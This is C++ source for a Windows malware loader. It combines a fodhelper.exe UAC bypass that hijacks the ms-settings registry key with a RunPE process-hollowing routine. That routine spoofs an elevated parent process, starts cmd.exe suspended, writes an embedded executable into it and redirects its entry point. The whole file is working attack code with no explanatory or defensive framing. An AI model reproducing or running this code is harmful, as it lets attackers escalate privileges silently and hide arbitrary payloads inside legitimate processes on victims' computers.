#include <Windows.h>
#include <ShlObj_core.h>
#include <malloc.h>
#include <winternl.h>

#pragma warning(disable : 4706)

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

#define SE_DEBUG_PRIVILEGE (20L)
EXTERN_C
WINBASEAPI
PIMAGE_BASE_RELOCATION
NTAPI
LdrProcessRelocationBlock(PVOID VirtualAddress, ULONG RelocCount, PUSHORT TypeOffset, LONG_PTR Delta);

ULONG BOOL_TO_ERROR(BOOL f)
{
    return f ? NOERROR : GetLastError();
}

ULONG WriteImage(void* Image, HANDLE hProcess, void** pEntryPoint)
{
    PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)((PBYTE)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    ULONG SizeOfImage = NtHeader->OptionalHeader.SizeOfImage;

    if (PVOID buf = LocalAlloc(0, SizeOfImage))
    {
        RtlZeroMemory(buf, SizeOfImage);

        memcpy(buf, Image, NtHeader->OptionalHeader.SizeOfHeaders);

        if (ULONG NumberOfSections = NtHeader->FileHeader.NumberOfSections)
        {
            PIMAGE_SECTION_HEADER SectionHeader = IMAGE_FIRST_SECTION(NtHeader);

            do
            {
                ULONG VirtualSize = SectionHeader->Misc.VirtualSize;
                ULONG SizeOfRawData = SectionHeader->SizeOfRawData;

                if (VirtualSize = min(VirtualSize, SizeOfRawData))
                {
                    memcpy((PBYTE)buf + SectionHeader->VirtualAddress,
                        (PBYTE)Image + SectionHeader->PointerToRawData, VirtualSize);
                }

            } while (SectionHeader++, --NumberOfSections);
        }

        ULONG dwError = NOERROR;

        if (PVOID BaseAddress = VirtualAllocEx(hProcess, 0, SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
        {
            NtHeader = (PIMAGE_NT_HEADERS)((PBYTE)buf + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

            *pEntryPoint = (PBYTE)BaseAddress + NtHeader->OptionalHeader.AddressOfEntryPoint;

            if (ULONG Size = NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
            {
                LONG_PTR Delta = (LONG_PTR)BaseAddress - (LONG_PTR)NtHeader->OptionalHeader.ImageBase;

                union {
                    PIMAGE_BASE_RELOCATION pibr;
                    PBYTE pb;
                    PVOID pv;
                };

                pv = (PBYTE)buf + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

                ULONG SizeOfBlock;
                do
                {

                    SizeOfBlock = pibr->SizeOfBlock;
                    pibr = LdrProcessRelocationBlock((PBYTE)buf + pibr->VirtualAddress,
                        (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT), (PUSHORT)(pibr + 1), Delta);

                } while (Size -= SizeOfBlock);

                NtHeader->OptionalHeader.ImageBase = (ULONG_PTR)BaseAddress;
            }

            dwError = BOOL_TO_ERROR(WriteProcessMemory(hProcess, BaseAddress, buf, SizeOfImage, 0));

            if (dwError == NOERROR)
            {
                PROCESS_BASIC_INFORMATION pbi;
                NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), 0);

                if (0 > status)
                {
                    dwError = RtlNtStatusToDosError(status);
                }
                else
                {
                    struct PEB_BEGIN {
                        ULONG Flags;
                        HANDLE Mutant;
                        PVOID ImageBaseAddress;
                    };

                    dwError = BOOL_TO_ERROR(WriteProcessMemory(hProcess,
                        &((PEB_BEGIN*)pbi.PebBaseAddress)->ImageBaseAddress, &BaseAddress, sizeof(PVOID), 0));
                }
            }
        }
        else
        {
            dwError = GetLastError();
        }

        LocalFree(buf);

        return dwError;
    }

    return GetLastError();
}

NTSTATUS OpenElevatedProcess(PHANDLE phProcess, PSYSTEM_PROCESS_INFORMATION pspi)
{
    ULONG NextEntryOffset = 0;
    do
    {
        (PBYTE&)pspi += NextEntryOffset;

        if (pspi->UniqueProcessId)
        {
            if (HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_CREATE_PROCESS,
                FALSE, (ULONG)pspi->UniqueProcessId))
            {
                HANDLE hToken;
                if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
                {
                    ULONG cb;
                    TOKEN_ELEVATION te;
                    BOOL f = GetTokenInformation(hToken, TokenElevation, &te, sizeof(te), &cb);
                    CloseHandle(hToken);

                    if (f && te.TokenIsElevated)
                    {
                        *phProcess = hProcess;
                        return STATUS_SUCCESS;
                    }
                }
                CloseHandle(hProcess);
            }
        }

    } while (NextEntryOffset = pspi->NextEntryOffset);

    return STATUS_UNSUCCESSFUL;
}

BOOL AdjustDebugPrivileges()
{
    BOOL b = false;
    HANDLE hToken, hNewToken;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken))
    {
        b = DuplicateTokenEx(hToken, TOKEN_ADJUST_PRIVILEGES|TOKEN_IMPERSONATE,
            0, ::SecurityImpersonation, ::TokenImpersonation, &hNewToken);

        CloseHandle(hToken);

        if (b)
        {
            static const TOKEN_PRIVILEGES tp = { 1, { { { SE_DEBUG_PRIVILEGE }, SE_PRIVILEGE_ENABLED } } };

            AdjustTokenPrivileges(hNewToken, FALSE, const_cast<PTOKEN_PRIVILEGES>(&tp), 0, 0, 0);

            b = GetLastError() == NOERROR ? SetThreadToken(0, hNewToken) : false;

            CloseHandle(hNewToken);
        }
    }

    return b;
}

NTSTATUS OpenElevatedProcess(PHANDLE phProcess)
{
    union {
        PVOID buf;
        PSYSTEM_PROCESS_INFORMATION pspi;
    };

    NTSTATUS status;

    ULONG cb = 0x1000;
    do
    {
        status = STATUS_NO_MEMORY;
        if (buf = LocalAlloc(0, cb += 0x1000))
        {
            if (0 <= (status = NtQuerySystemInformation(SystemProcessInformation, buf, cb, &cb)))
            {
                AdjustDebugPrivileges();
                status = OpenElevatedProcess(phProcess, pspi);
                SetThreadToken(0, 0);
            }
            LocalFree(buf);
        }
    } while (status == STATUS_INFO_LENGTH_MISMATCH);

    return status;
}

ULONG NTRX_RUNPE(void* Image)
{
    WCHAR comspec[MAX_PATH];

    if (!GetEnvironmentVariableW(L"comspec", comspec, _countof(comspec)))
    {
        return GetLastError();
    }

    PROCESS_INFORMATION PI {};
    STARTUPINFOEXW SI = { { sizeof(SI)} };

    SIZE_T s = 0;
    ULONG dwError;

    while (ERROR_INSUFFICIENT_BUFFER == (dwError = BOOL_TO_ERROR(
        InitializeProcThreadAttributeList(SI.lpAttributeList, 1, 0, &s))) && !SI.lpAttributeList)
    {
        SI.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)alloca(s);
    }

    if (dwError == NOERROR)
    {
        HANDLE hParent;
        dwError = BOOL_TO_ERROR(UpdateProcThreadAttribute(SI.lpAttributeList, 0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(hParent), 0, 0));

        if (dwError == NOERROR)
        {
            NTSTATUS status = OpenElevatedProcess(&hParent);
            if (0 <= status)
            {
                dwError = BOOL_TO_ERROR(CreateProcessW(comspec, NULL, NULL, NULL, FALSE,
                    CREATE_SUSPENDED | DETACHED_PROCESS | EXTENDED_STARTUPINFO_PRESENT,
                    NULL, NULL, &SI.StartupInfo, &PI));

                CloseHandle(hParent);
            }
            else
            {
                dwError = RtlNtStatusToDosError(status);
            }

            if (dwError == NOERROR)
            {
                CONTEXT CTX {};

#if defined(_AMD64_)
#define Xyz Rcx
#elif defined(_X86_)
#define Xyz Eax
#else
#error
#endif
                PVOID EntryPoint;

                if (NOERROR == (dwError = WriteImage(Image, PI.hProcess, &EntryPoint)))
                {
                    CTX.ContextFlags = CONTEXT_INTEGER;

                    BOOL fOk = FALSE;

                    if (GetThreadContext(PI.hThread, &CTX))
                    {
                        CTX.Xyz = (ULONG_PTR)EntryPoint;
                        fOk = SetThreadContext(PI.hThread, &CTX) && (ResumeThread(PI.hThread) != (ULONG)-1);
                    }

                    if (!fOk)
                    {
                        dwError = GetLastError();
                    }
                }

                if (dwError != NOERROR)
                {
                    TerminateProcess(PI.hProcess, 0);
                }

                CloseHandle(PI.hThread);
                CloseHandle(PI.hProcess);
            }
        }

        DeleteProcThreadAttributeList(SI.lpAttributeList);
    }

    return dwError;
}


void elevateProcess() {

    if (!IsUserAnAdmin()) {

        HKEY hKey;
        WCHAR lpFile[MAX_PATH];
        PVOID oldVal;

        if (GetModuleFileNameW(NULL, lpFile, _countof(lpFile)))
        {
            if (NOERROR == RegCreateKeyW(HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\ms-settings\\shell\\open\\command", &hKey))
            {
                if (!RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, 0, 0) &&
                    !RegSetValueExW(hKey, 0, 0, REG_SZ, (LPBYTE)lpFile, (1+wcslen(lpFile))*sizeof(WCHAR)))
                {
                    if (Wow64DisableWow64FsRedirection(&oldVal))
                    {
                        if (SearchPathW(0, L"fodhelper.exe", 0, _countof(lpFile), lpFile, 0))
                        {
                            SHELLEXECUTEINFOW sei = {
                                sizeof(sei), SEE_MASK_NOCLOSEPROCESS, 0, L"runas", lpFile, 0, 0, SW_HIDE
                            };

                            if (ShellExecuteExW(&sei))
                            {
                                WaitForSingleObject(sei.hProcess, INFINITE);
                                CloseHandle(sei.hProcess);
                            }
                        }

                        Wow64DisableWow64FsRedirection(&oldVal);
                    }
                }

                RegCloseKey(hKey);

                RegDeleteTreeW(HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\ms-settings\\shell");
            }
        }
        ExitProcess(0);
    }
}

extern unsigned char rawData[];

void WINAPI ep() {

    MessageBoxW(0, 0, L"ep", MB_ICONINFORMATION);

    elevateProcess();

    ExitProcess(NTRX_RUNPE(rawData)) ;
}